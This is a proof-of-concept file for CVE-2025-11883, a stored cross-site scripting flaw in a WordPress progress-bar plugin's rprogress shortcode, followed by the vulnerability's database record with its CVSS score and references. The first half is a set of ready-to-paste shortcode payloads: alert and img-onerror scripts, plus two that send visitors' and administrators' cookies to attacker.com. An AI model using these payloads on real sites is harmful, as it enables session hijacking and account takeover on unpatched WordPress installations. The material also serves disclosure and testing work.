CVE-2025-11883

<!-- CVE-2025-11883 Proof of Concept --> <!-- Stored XSS via rprogress shortcode attributes --> <!-- Basic XSS payload to demonstrate script execution --> [rprogress width="100" color="#ff0000" label=""><script>alert('XSS-Vulnerability-CVE-2025-11883')</script>"] <!-- Cookie stealing payload (for demonstration only) --> [rprogress width="100" onmouseover=""><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"] <!-- Alternative payload using event handlers --> [rprogress width="<img src=x onerror=alert(document.domain)>" height="50"] <!-- Payload targeting admin users --> [rprogress label=""><script>fetch('https://attacker.com/admin?cookie='+document.cookie)</script>"]

{"cve": {"id": "CVE-2025-11883", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:36.040", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Responsive Progress Bar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's rprogress shortcode in versions less than, or equal to, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/responsive-progress-bar/tags/1.0/responsive-progress-bar.php#L64", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/responsive-progress-bar/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e6ebe12c-17ed-4be9-8af7-4c822b753af1?source=cve", "source": "[email protected]"}]}}